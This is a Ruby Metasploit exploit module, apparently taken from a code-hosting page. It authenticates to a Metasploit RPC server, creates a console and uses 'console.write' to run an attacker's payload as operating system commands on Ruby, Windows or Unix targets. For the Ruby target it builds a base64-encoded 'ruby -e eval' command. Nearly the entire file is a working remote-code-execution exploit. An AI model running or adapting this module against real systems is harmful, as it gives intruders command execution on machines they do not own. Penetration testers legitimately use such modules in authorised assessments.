153 lines
4.6 KiB
Ruby
153 lines
4.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/rpc/v10/client'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Metasploit RPC Console Command Execution',
|
|
'Description' => %q{
|
|
This module connects to a specified Metasploit RPC server and
|
|
uses the 'console.write' procedure to execute operating
|
|
system commands. Valid credentials are required to access the
|
|
RPC interface.
|
|
|
|
This module has been tested successfully on Metasploit 4.15
|
|
on Kali 1.0.6; Metasploit 4.14 on Kali 2017.1; and Metasploit
|
|
4.14 on Windows 7 SP1.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'https://help.rapid7.com/metasploit/Content/api/rpc/overview.html' ],
|
|
[ 'URL', 'https://community.rapid7.com/docs/DOC-1516' ]
|
|
],
|
|
'Platform' => %w{ ruby unix win },
|
|
'Targets' => [
|
|
[ 'Ruby', { 'Arch' => ARCH_RUBY,
|
|
'Platform' => 'ruby',
|
|
'Payload' => { 'BadChars' => "\x00" } } ],
|
|
[ 'Windows CMD', { 'Arch' => ARCH_CMD,
|
|
'Platform' => 'win',
|
|
'Payload' => { 'BadChars' => "\x00\x0A\x0D" } } ],
|
|
[ 'Unix CMD', { 'Arch' => ARCH_CMD,
|
|
'Platform' => 'unix',
|
|
'Payload' => { 'BadChars' => "\x00\x0A\x0D" } } ]
|
|
],
|
|
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 15 },
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'May 22 2011',
|
|
'DefaultTarget' => 0))
|
|
register_options [ Opt::RPORT(55552),
|
|
OptString.new('USERNAME', [true, 'Username for Metasploit RPC', 'msf']),
|
|
OptString.new('PASSWORD', [true, 'Password for the specified username', '']),
|
|
OptBool.new('SSL', [ true, 'Use SSL', true]) ]
|
|
end
|
|
|
|
def execute_command(cmd, opts = {})
|
|
res = @rpc.call 'console.write', @console_id, "\r\n#{cmd}\r\n"
|
|
|
|
if res.nil?
|
|
fail_with Failure::Unknown, 'Connection failed'
|
|
end
|
|
|
|
unless res['wrote'].to_s =~ /\A\d+\z/
|
|
print_error "Could not write to console #{@console_id}:"
|
|
print_line res.to_s
|
|
return
|
|
end
|
|
|
|
vprint_good "Wrote #{res['wrote']} bytes to console"
|
|
end
|
|
|
|
def exploit
|
|
begin
|
|
@rpc = Msf::RPC::Client.new :host => rhost, :port => rport, :ssl => ssl
|
|
rescue Rex::ConnectionRefused => e
|
|
fail_with Failure::Unreachable, 'Connection refused'
|
|
rescue => e
|
|
fail_with Failure::Unknown, "Connection failed: #{e}"
|
|
end
|
|
|
|
res = @rpc.login datastore['USERNAME'], datastore['PASSWORD']
|
|
|
|
if @rpc.token.nil?
|
|
fail_with Failure::NoAccess, 'Authentication failed'
|
|
end
|
|
|
|
print_good 'Authenticated successfully'
|
|
vprint_status "Received temporary token: #{@rpc.token}"
|
|
|
|
version = @rpc.call 'core.version'
|
|
|
|
if res.nil?
|
|
fail_with Failure::Unknown, 'Connection failed'
|
|
end
|
|
|
|
print_status "Metasploit #{version['version']}"
|
|
print_status "Ruby #{version['ruby']}"
|
|
print_status "API version #{version['api']}"
|
|
|
|
vprint_status 'Creating new console...'
|
|
res = @rpc.call 'console.create'
|
|
|
|
if res.nil?
|
|
fail_with Failure::Unknown, 'Connection failed'
|
|
end
|
|
|
|
unless res['id'].to_s =~ /\A\d+\z/
|
|
print_error 'Could not create console:'
|
|
print_line res.to_s
|
|
return
|
|
end
|
|
|
|
@console_id = res['id']
|
|
print_good "Created console ##{@console_id}"
|
|
|
|
print_status 'Sending payload...'
|
|
|
|
case target['Platform']
|
|
when 'ruby'
|
|
cmd = "ruby -e 'eval(%[#{Rex::Text.encode_base64(payload.encoded)}].unpack(%[m0]).first)'"
|
|
when 'win'
|
|
cmd = payload.encoded
|
|
when 'unix'
|
|
cmd = payload.encoded
|
|
else
|
|
fail_with Failure::NoTarget, 'Invalid target'
|
|
end
|
|
|
|
execute_command cmd
|
|
end
|
|
|
|
def cleanup
|
|
return if @console_id.nil?
|
|
|
|
vprint_status 'Removing console...'
|
|
res = @rpc.call 'console.destroy', @console_id
|
|
|
|
if res.nil?
|
|
print_error 'Connection failed'
|
|
return
|
|
end
|
|
|
|
unless res['result'].eql? 'success'
|
|
print_warning "Could not destroy console ##{@console_id}:"
|
|
print_line res.to_s
|
|
return
|
|
end
|
|
|
|
vprint_good "Destroyed console ##{@console_id}"
|
|
ensure
|
|
@rpc.close
|
|
end
|
|
end
|